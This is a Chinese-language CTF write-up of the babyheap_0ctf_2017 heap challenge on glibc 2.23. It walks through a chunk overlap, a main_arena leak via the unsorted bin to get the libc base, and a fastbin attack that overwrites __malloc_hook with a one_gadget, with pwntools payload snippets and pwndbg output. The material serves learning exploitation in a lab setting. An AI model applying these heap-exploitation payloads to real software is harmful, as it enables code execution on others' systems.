Overlap 2.23libc 例题
参考资料:https://www.cnblogs.com/youdiscovered1t/p/19109746
babyheap_0ctf_2017(Unsortedbin + Overlap)
简单整理一下 main 函数:
1 | __int64 __fastcall main(char *a1, char **a2, char **a3) |
1 | int menu() |
Allocate
1 | void __fastcall allocate(__int64 a1) |
先遍历 16 个索引,寻找到第一个未在使用的索引,读取用户输入的数据大小,要求小于 4096 个字节
分配内存:calloc(j,1) = 分配 j 字节,且自动初始化为0(区别于malloc) v3 =calloc ( j, 1u ) ;
if ( !*(_DWORD *)(24LL * i + a1) ):
1 | 24 分别指的是 |
Fill
1 | __int64 __fastcall fill(__int64 a1) |
这里不难解释:首先读取用户输入的 index,然后寻找 index 与之对应的 chunk ->
index = *(unsigned int *)(24LL * (int)index + a1);
然后进行 if ((_DWORD)index == 1 )的判断,这前面也有提到过,如果等于 1,就可以进行输入
printf(“Content: “);
return Read(*(_QWORD *)(24LL * n0x10_1 + a1 + 16), n0x10_2);
这里还没有介绍已经修改过的 read 函数,我们进去看一看:
1 | unsigned __int64 __fastcall Read(__int64 a1, unsigned __int64 size) |
就是简单的要求 size > 0,然后可以执行 read 函数。整个函数的作用呢就是为了防止 alarm 中断,把数据分批次读取到我们的 data 区,本质就是 read 函数读取 chunk 内容。
free
1 | __int64 __fastcall Free(__int64 a1) |
释放后全部置 0,不存在 UAF
Dump
1 | unsigned int __fastcall Dump(__int64 a1) |
输出程序,把对应索引的 user_data 存入的数据都打印出来。
1 | unsigned __int64 __fastcall write_0(__int64 a1, unsigned __int64 a2) |
EXP:
封装函数
1 | def allocate(p,size): |
创建堆块
我们首先需要考虑的是我们需要多少堆块:chunk0 用来堆溢出修改 fastbin 的 fd 指针
1 | allocate(p,0x10) # chunk 0 |
释放堆块到 fastbin 当中:
1 | free(p,1) |
修改堆块,造成堆重叠
修改 fastbin 的 fd 指针,让其指向 chunk4,让 chunk4 加入 fastbin 链表当中
1 | payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80) |
此时 chunk4 已经放进了 fastbin 链表当中,且 chunk2 指向 chunk4:chunk2 -> chunk4
1 | pwndbg> bins |
1 | pwndbg> x/50gx 0x55b106af3000 |
新建两个堆块实现双指
由于 fastbin 的先进后出原则,chunk2->chunk4,先出 chunk2,因此需要进行两次 malloc 才可以调用chunk4
在此之前,为了防止进行 malloc(0x10)找到大小为 0x90 的 chunk4,这里还要对 chunk4 的 size 进行修改:
1 | payload = p64(0)*3 + p8(0x21) |
我们调用了 chunk2(bins) 和 chunk4(bins)先后 malloc(0x10);
由于 chunk2 fd 指向 chunk4,让其内容指针指向 index4,chunk4 也因为本身内容指针就指向 index4 而实现了 chunk2 和 chunk4 的内容指针同时指向了 index4 的内容:实现双指
我们通过 vmmap 在 mmap 当中寻找到开辟的空间,存储 index 的信息:x/50gx 一点一点翻 –>
1 | pwndbg> heap |
我们可以发现 index2 和 index4 的内容指针确实指向了 chunk4 的 size 处,实现了双指。
free(4) to Unsortedbin
先回顾一下进行下一步之前的堆情况:
1 | pwndbg> x/50gx 0x55b08dd57000 |
我们为了让 chunk4 放入 Unsortedbin 当中执行 attack 需要把他的 size 修改回去,去泄露 main_arena 的地址。因为 UnSortedbin 头指针指向的是 main_arena + 88。
不过同时为了防止该 chunk 和 top_chunk 进行合并,我们需要再创建一个 chunk 使其与 top_chunk 分隔开:
1 | payload = p64(0) * 3 + p64(0x91) |
这样让 chunk4 释放到 UnSortedbin 当中,指向 main_arena + 88
寻找偏移
88 = 0x58,main_arena 在 ubuntu16.04 与 libc_base 的偏移为 0x3c4b20
1 | offset_unsortedbin = 0x58 |
泄露 fd 指针值寻找 libc_base
我们知道,chunk2 和 4 都指向 index4,打印 chunk2,此时 chunk4 已经放入了 UnSortedbin 当中,他的 fd 和 bk 指针都指向 main_arena + 88 , 打印 chunk2 的内容指针也就相当于是泄露了 main_arena + 88 的地址。
1 | dump(p,2) |
顺手就计算了 libc_base 的基地址。
创建 fastbin 为 fastbin_attack 做准备:
取 chunk 到 fastbin 当中进行 fastbin_attack
1 | allocate(p,0x60) |
1 | pwndbg> x/50gx 0x55b13765f000 |
申请伪堆块
1 | payload = p64(libc_base + 0x3c4aed) # malloc_hook |
1 | pwndbg> x/80gx 0x562335eb7000 |
1 | payload = p8(0)*3 + p64(0)*2 + p64(libc_base + 0x4526a) #one_gadgets |
总 exp
1 | from pwn import * |
更新: 2026-03-31 10:49:47
原文: https://www.yuque.com/idcm/wnemg9/hkulgqzusykvhx6p